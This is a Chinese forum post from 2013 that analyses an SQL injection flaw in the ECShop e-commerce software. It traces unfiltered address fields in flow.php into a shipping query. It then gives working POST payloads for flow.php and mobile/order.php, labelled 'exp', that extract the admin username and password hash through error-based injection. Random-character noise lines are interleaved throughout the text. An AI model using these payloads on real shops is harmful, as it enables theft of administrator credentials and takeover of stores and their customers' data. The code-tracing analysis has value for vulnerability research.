找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2101|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
5 G* A: ~% r* E" K( G7 x% D; q+ [7 Q
$ P5 o2 s9 }2 Z- R8 r6 ~    漏洞关键文件:
9 Z- u0 u6 }5 J. }
: ~% w) R4 P  s+ ]0 S; g    /includes/lib_order.php' b1 O1 R3 d* O7 O- |$ l

! \' h3 W& G1 b  Y; E. s4 V4 G    关键函数:  s2 V9 c4 Q6 s' K* V1 k

% B5 C/ e* t% B  ^# u: r! ]' d ( w- K( M+ J1 Y9 j7 g5 {

  W& s8 S" E+ |& j/ e01     function available_shipping_list($region_id_list)
$ B5 O: i3 K9 \
" u# z: a0 I" e  D& [7 W02 {
+ j7 Z5 u1 m  K7 K0 u0 L) S9 P" h0 `8 o: p) j; h* V
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
- e) l( R( ?5 O) T( r" B# l$ w/ r4 A' t# i0 `
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ; n* ~0 ]5 R( h- L9 x7 A, |
% H* D/ `' u/ Y2 W8 k
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 8 X! {, m& S. X1 g% [9 z

4 ?* m' ^0 \" @: ]  u* D% W3 N06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
: \5 R* `6 J% I( z' F( v7 H( O+ U* b+ k% i. a
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
2 M% d+ s" B9 o* K6 d- {
3 Z1 d" B0 G( l5 g1 b08             'WHERE r.region_id ' . db_create_in($region_id_list) .   n; `( T* X  b; j

/ i1 z* H& R: W% O* L% u09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; : i) P( b  Y- M: p: Z- u- s  z

- R& Y  h5 G0 n7 O; B: J3 x0 W# p10   1 S5 b( M+ E8 G3 D; B

& f$ y" w2 i7 ^3 @" ~11     return $GLOBALS['db']->getAll($sql); : ~+ n: R! ?* |! A
4 ^$ w: [2 V4 e  _/ o
12 }
( W' e( C( V# E7 v1 K5 m& q  D" R# I' K% u* N
显然对传入的参数没有任何过滤就带入了查询语句。
% W7 O$ A' o' @! T. v: w3 u4 \" W; T ) \0 E8 i7 w/ V% p3 I& \( w
下面我们追踪这个函数在flow.php中:
/ d! C; Z& n% f2 k3 ?- Y 第531行:   ; \9 Q9 C2 U0 @+ F* B; ]
% D% i" i5 `7 a3 ~& Z
1 $shipping_list     = available_shipping_list($region); % {6 K% e/ i" f9 j: N: z4 \
$ W0 h& @2 g5 ^9 ]/ U" n

/ `0 ]8 t, I* B# J/ O9 F9 U
: ?1 `4 Z, Q( S0 |7 v  E) y- V / |7 M7 I% T7 ]

4 X& G# d; L# }' z  c0 P再对传入变量进行追踪:
$ k0 c) R2 E4 B" a. o
7 i4 W( r- z! w# H: d- J第530行:    . \* D# U7 ]  e  F, i0 t" W+ q+ v
5 z5 G6 F6 q" N0 x7 u# H
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ( j% `" z7 H3 O  p  }% z

7 ~" B1 S* t: z) v 9 A. ^: v5 F& h, _: ~# I+ z- w

) S; M8 N8 A; ^& p" H ( I0 L8 `3 n: `$ y

0 z2 u/ V1 X) v. q# y第473行:        
7 c# x& h3 y8 I7 u7 `8 _) k
. S6 Y9 N  s! K; t1 $consignee = get_consignee($_SESSION['user_id']);
& ?5 _3 S- B0 r* g0 a/ c! a& I$ N6 I* w( N
到了一个关键函数:
# Q5 H, f* i2 Z# g; m2 L
& Q2 \  C; D: \- z! e/includes/lib_order.php! q* ]2 I0 b+ D, N

  `8 |3 R8 ~9 k7 Z2 u
  P* w6 q; c4 J( t; \) g& w! e5 v5 h' y+ p2 l8 U) l

' i% k4 m4 e6 {$ j4 Y, T+ ?% ^# C2 L$ H
01 function get_consignee($user_id) ( N$ N) R+ c5 m! E. j* V4 a
& R" {, p0 f  t7 g
02 {   }1 K4 U; n3 }9 d6 b9 N
8 f2 V. X* L+ T- ]/ i* c
03     if (isset($_SESSION['flow_consignee'])) ) V2 z/ [( J+ ^8 p$ P4 B! ^

5 U8 M# d+ I/ k. ^( q04     { - f) B5 W: |0 t# J

0 S  J+ [& B% ~( e- n; ]2 A05         /* 如果存在session,则直接返回session中的收货人信息 */ 8 ~4 C4 c: [  o* u& P5 P
8 @# R$ S7 Q# g3 x
06   
- _$ g- F" N/ E: `) s0 e8 _1 M
6 A4 W. M1 p7 T3 g4 J07         return $_SESSION['flow_consignee'];
& E7 Q! t$ A, E) Z$ _
- }- v# {) _, Q) k08     }
6 Y% _1 ^2 E8 x
4 {4 r# \) B) g/ W; L; W3 F09     else 9 }* L$ G. P3 ?3 R
4 t/ e2 n7 ?! X  S1 J) a# E
10     {
' K! a+ [+ t# G% _% _5 o& v9 |3 B: i6 @% O. n( ?
11         /* 如果不存在,则取得用户的默认收货人信息 */
' F8 z  o/ M  T- ~
1 l* A; f+ G. {3 r' {2 X$ _12         $arr = array();
5 V+ m' [5 @2 G& K
3 N0 ^7 p5 J" R3 ^) [13   
0 O& F, X3 B) B  L
' Y+ G' b$ B0 J9 {; C/ o14         if ($user_id > 0)
* u- \* V" U( Z9 ?% _5 }! [% ]; U# I- N; I+ t: Z
15         {
) L/ p# a' n: Q: D- t# u  D  E* C1 ~, e5 K. l+ ^; O0 K
16             /* 取默认地址 */ / @' I! H8 C( W1 L  A) g

$ P7 w, M4 U) c) @8 D9 \+ h2 C/ I17             $sql = "SELECT ua.*".
1 X' ~3 [3 _: D7 N, r! Y6 @1 ^' e: h! ]' d) G( B* G0 k
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
' z: k- E+ X7 {& Z: W2 p1 B5 f
; L/ D% B1 s7 s" S19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
: f; h' A7 V1 ]
: _) N+ l+ T: E3 ^20   . [+ v7 y: t2 T

" Q) O9 J! ~% `2 v21             $arr = $GLOBALS['db']->getRow($sql); ; `' U/ o2 w' u" O! I

3 |  v, H4 ]/ o% i22         }
  b# b: |9 D0 u& [) }( u
: B: c& ~% ?3 k2 p4 u6 h; t- K23   
  I/ B! J+ A& S( t- l% N
/ T' {; A( O+ M- |/ K/ H# [- t24         return $arr;
. g$ y3 ~5 n3 q- b- o
+ n* q% x% p3 d25     } 3 ^( r& L4 p+ ]# ~0 V7 g

7 `2 S, C% S# {2 O. {26 } 3 C9 l8 E2 e- k

8 L4 \9 K. }. i% C$ Y1 l显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?7 z3 U# h3 h# V' w7 K. K

! r5 C7 i4 Q, B. H! R
' b4 m5 J5 d/ Q- W0 {- K; w8 {
% W/ J# J0 h' z. D# O6 z关键点:
0 G0 d6 U4 I4 I: E0 H2 Z2 v/ ~  A3 p, j( h
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);, k2 d$ n2 r) }* A9 A
5 W4 B; F  D  ?9 n& T/ v: \
这里对传入参数反转义存入$_SESSION中。3 ]+ ]. ?9 I' Z% L

4 @9 ]4 u7 K. @. y; z% b
/ U4 ~9 l( Y8 I; ~5 K; t! v% D! y0 G. ?8 F" M$ @; X( L
然后看下:
  U- p& q9 V8 {: g/ b* i) ]& Z+ p0 G& N
. @+ g5 `3 Y9 k! H8 C+ S9 T4 V
0 L" n: i  b% s  F! B* Y. U( W
   
3 d5 ~( x- J; d  G" j5 X# @1 y7 [+ |) V/ @- K
01 $consignee = array(
! D  O# W( o: i1 r2 r5 L5 e. Q1 z; |- O
" T# F( |, O& M- O02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
' T4 N& p  Y/ H4 o: U$ Y
" D2 Y- B& B1 ]5 K; k- P! t03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 2 Y  v/ i6 s$ X/ i: C

+ v" W) x5 s% W( k$ c* j04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 7 \8 K, E* F3 I0 _, X% B

$ l' h6 G9 s- U$ }. l6 }; ]9 c3 ]05         'province'      => empty($_POST['province'])   ? '' _POST['province'], . Q  V9 \$ n5 O& @6 Q" m% z
. F: d6 Z& |( M
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 5 N" E6 P1 i. e2 N1 ?/ C. l4 Q7 h
' I+ [( `: a3 p5 N' t
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], / O, d7 `8 {8 @( Y$ |3 t0 T

$ @2 T% s2 V. g% ^2 }. P' k08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
  _% L/ l! H" l4 M& t
) d& c. j+ h5 T" T1 _09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 7 r, p4 [4 o  o. h! ^
  w  v) @7 @/ P+ N  \9 r' W; H
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), % h: K& D3 G7 u- v1 V" {
: Y6 j1 a! y9 e4 s+ b6 n1 U
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 5 ?* u, c3 s- |: R7 H

8 I! R! X& y. g( D0 @# R& s5 D; i& L1 V12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
: Z1 Q3 \# o9 ]6 A* c& }
$ i& d2 R; ]1 B; a! L) a13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ) a" u0 t2 x" ?4 T* I* F

! e5 d5 n; a( y9 j14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], 9 ]( R1 }2 |9 [0 o' x2 J# P
4 d) S0 b* l0 x1 T$ z$ I
15     ); 3 d. ?0 [& U! F) x( f( w# |8 m
6 t+ X5 \5 {' Y% _4 p
好了注入就这样出现了。  o. g( Z4 X$ @5 U2 c) z9 q* d3 O

( A  l2 I5 [, U7 W; t==================
8 T! ?. Z( \' S9 g$ o
$ D6 D: ]* T  E: R; _4 G% J) C# v注入测试:
0 v; y5 @: b  f
6 r5 ], Q! B2 W" }+ Q9 T环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
9 Z5 U4 k0 {7 m- T4 _
: Z& o/ Q. j/ C7 r9 V测试程序:ECShop_V2.7.3_UTF8_release1106
% _1 e( z) b+ {3 e" T5 e! D5 g% }! _, x* a0 H0 \
' h+ Q" D0 c% a1 \. j

& D; J$ i! J8 }, J6 X8 I! w1.首先需要点击一个商品加入购物车
! B4 f2 X% k) K1 [5 d1 w" w+ s% ^5 U
2.注册一个会员帐号
# V; o* e8 k% B9 I" b, `$ M) d* Y+ d# a6 w/ E
3.post提交数据$ z& p: s: z. T5 r) {# T
' l$ v! [3 S( R4 m$ F

2 t# [0 n4 C! S4 r- b5 \/ {# c# z% t+ r: y
1 http://127.0.0.1/ecshop/flow.php / B8 |7 @' O3 D: D! \$ D
4 u! }% E+ B, J3 p1 s
2   2 N6 k9 a- K: m3 e
+ k9 G0 K+ T  k3 G% ]
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
* Y, E: a" Y0 k* i; G举一反三,我们根据这个漏洞我们可以继续深入挖掘:' V( }9 U1 O+ Q) K

/ y( e3 U" K" R% p* U" M! E; r我们搜寻关键函数function available_shipping_list()$ o. J; o+ K' |6 T# C
6 {& L  \6 e' A9 s6 J4 M% \
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同1 P; `1 G' X) ]+ @& u# y
2 P  F9 ?9 w1 L
利用exp:
$ C% T. d- D1 \9 r5 R
" _* Z  ]( i! Z; s1.点击一个商品,点击购买商标
% k. A4 H7 ~) |$ [, S9 {* c6 X* @* `5 l, |$ l6 b
2.登录会员帐号. Q3 y) D0 F/ D2 R

* l0 g& P# m4 ^* W8 E3 b9 O3.post提交:
( G: k; ~& t' N( q& ~. r, t* e* Y. l8 F! W4 T$ l, u* N! O3 Z
http://127.0.0.1/ecshop/mobile/order.php% T% i5 B; A& F0 G- a' A' e
/ t% r/ C. Z* f  i
& m! y) w+ @: F8 p% u* @1 e
' m$ ^) W2 z% O5 k5 G: o
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
! I+ P- K9 E3 M2 t
6 Y# n+ @& ?. g. o4 A3 L: U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表